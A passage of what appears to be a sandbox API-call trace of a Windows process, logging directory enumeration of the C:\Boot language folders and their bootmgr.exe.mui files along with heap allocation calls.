ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.135] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.135] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0074.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.136] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.137] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.137] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.137] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.137] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0074.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.137] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.138] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.138] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.138] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.139] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0074.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.139] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.140] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.140] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.140] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.141] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0074.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.141] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.141] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.141] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.141] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.142] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0074.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.142] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.143] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.143] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.143] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.143] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0074.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.143] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.144] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.144] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.144] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.144] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0074.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.145] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.146] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.146] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.146] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.146] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0074.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.146] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.147] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.147] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.147] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.148] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0074.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.148] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.149] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.149] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.149] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.150] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0074.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.150] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.150] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.150] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.151] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.151] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0074.151] FindClose (in: hFindFile=0x602fe8 | out: hFindFile=0x602fe8) returned 1 [0074.151] HeapFree (in: hHeap=0x5b0000, 